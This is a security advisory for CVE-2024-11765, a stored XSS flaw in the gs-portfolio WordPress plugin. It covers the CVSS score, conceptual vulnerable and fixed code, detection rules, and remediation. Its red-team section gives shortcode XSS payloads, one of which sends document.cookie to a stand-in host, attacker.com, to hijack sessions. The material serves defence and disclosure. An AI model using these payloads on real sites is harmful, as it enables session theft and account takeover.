CVE-2024-11765

Executive Summary

CVE-2024-11765 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress Portfolio Plugin – A Plugin for Making Filterable Portfolio Grid, Portfolio Slider and more (gs-portfolio) plugin for WordPress. The flaw exists in all versions up to and including 1.6.3, due to insufficient input sanitization and output escaping on user-supplied attributes within the gs_portfolio shortcode. An authenticated attacker with contributor-level access or higher can inject arbitrary web scripts that execute when any user visits the compromised page. The CVSS score is 6.4 (Medium), and no public exploit code or patch is currently available.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. Users who have installed the plugin via the WordPress admin dashboard or through automated deployment tools (e.g., Composer, WP-CLI) are at risk. The plugin is not available on NPM, PyPI, Go, or Ruby ecosystems. The lack of a patch from the vendor (Gs plugins) means that supply chain risk is elevated, as no official fix exists to mitigate the vulnerability.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Base Score: 6.4 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – requires contributor-level access
• User Interaction: None (UI:N)
• Scope: Changed (S:C) – the vulnerable component impacts resources beyond its security scope
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)

Threat Level: Medium. While the CVSS score is moderate, the ability for authenticated users with low privileges to inject persistent scripts that execute in the context of other users (including administrators) elevates the risk. This can lead to session hijacking, defacement, or further privilege escalation.

Deep Dive & Mechanics

The vulnerability resides in the gs_portfolio shortcode, which is used to display portfolio grids and sliders. The plugin fails to properly sanitize and escape user-supplied attributes passed to the shortcode. When an attacker with contributor-level access or higher creates or edits a post/page containing the shortcode, they can inject malicious JavaScript code into attributes such as category, order, or custom CSS classes.

The injected script is stored in the WordPress database and executed when any user (including administrators) views the affected page. The attack does not require user interaction beyond visiting the page, making it a classic Stored XSS.

Attack Flow:

1. Attacker logs in with contributor-level credentials.
2. Attacker creates a new post or edits an existing one.
3. Attacker inserts the [gs_portfolio] shortcode with a malicious attribute, e.g., [gs_portfolio category="<script>alert('XSS')</script>"].
4. The plugin stores the shortcode without proper sanitization.
5. When any user visits the post, the script executes in their browser.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is present in all versions up to 1.6.3. The issue is in the shortcode handler function, likely in the plugin's main PHP file (e.g., gs-portfolio.php or a dedicated shortcode file).

Vulnerable Code (Conceptual):

function gs_portfolio_shortcode($atts) {
    $atts = shortcode_atts(array(
        'category' => '',
        'order' => 'ASC',
    ), $atts);
    // Directly outputting the attribute without escaping
    echo '<div class="gs-portfolio" data-category="' . $atts['category'] . '">';
    // ... rest of the code
}

Patched Code (Expected):

function gs_portfolio_shortcode($atts) {
    $atts = shortcode_atts(array(
        'category' => '',
        'order' => 'ASC',
    ), $atts);
    // Properly escape the attribute
    echo '<div class="gs-portfolio" data-category="' . esc_attr($atts['category']) . '">';
    // ... rest of the code
}

The fix would involve using WordPress's built-in escaping functions like esc_attr() or esc_html() on all user-supplied attributes before output.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress installation with gs-portfolio plugin version <= 1.6.3.
• Contributor-level account or higher.

Exploitation Steps:

1. Log in to WordPress as a contributor.
2. Create a new post or page.
3. In the content editor, insert the following shortcode:

   [gs_portfolio category="<script>alert(document.cookie)</script>"]
   

4. Publish or save the post.
5. When any user (including admin) visits the post, the JavaScript executes.

Advanced Payload (Session Hijacking):

[gs_portfolio category="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"]

Note: No public exploit code is available, but the above demonstrates the attack vector.

Blue Team (Detection & Hardening)

Detection:

• Monitor for posts/pages containing the gs_portfolio shortcode with suspicious attributes (e.g., <script>, onerror=, javascript:).
• Use Web Application Firewall (WAF) rules to block XSS payloads in shortcode attributes.
• Review WordPress user roles and ensure contributor-level accounts are trusted.

Hardening:

• Temporarily disable the plugin until a patch is released.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.
• Use a WordPress security plugin (e.g., Wordfence) to add input validation.

Indicators of Compromise (IOCs)

• File: wp-content/plugins/gs-portfolio/ (entire plugin directory)
• Database: Posts/pages containing the gs_portfolio shortcode with malicious attributes.
• Network: Outbound HTTP requests to attacker-controlled domains (if payload exfiltrates data).
• Logs: WordPress audit logs showing creation/editing of posts by contributor-level users with unusual shortcode attributes.

Detection Engineering

YARA Rule

rule detect_gs_portfolio_xss {
    meta:
        description = "Detects malicious shortcode attributes in gs-portfolio plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-11765"
    strings:
        $shortcode = /\[gs_portfolio[^\]]*?category\s*=\s*["'][^"']*?<script[^>]*?>.*?<\/script>["']/i
        $xss_payload = /<script[^>]*?>.*?<\/script>/i
    condition:
        $shortcode or ($xss_payload and #shortcode > 0)
}

Sigma Rule

title: WordPress gs-portfolio Stored XSS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts via gs-portfolio shortcode attributes
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-11765
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: "/wp-admin/post.php"
        http.body|contains|all:
            - "[gs_portfolio"
            - "category="
            - "<script"
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in shortcode attributes (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-11765 WordPress gs-portfolio Stored XSS Attempt"; flow:to_server; content:"[gs_portfolio"; http_client_body; nocase; content:"category="; http_client_body; nocase; pcre:"/<script[^>]*?>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released by the vendor.
2. Review and remove any posts/pages containing the gs_portfolio shortcode with suspicious attributes.
3. Change all user passwords if compromise is suspected.

Long-term Fix:

• Monitor the WordPress plugin repository for an update (version > 1.6.3).
• Apply the patch as soon as it becomes available.
• Implement a Web Application Firewall (WAF) with XSS rules.

Workaround:

• If the plugin cannot be disabled, restrict contributor-level access to trusted users only.
• Use a WordPress security plugin to add input validation on shortcode attributes.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert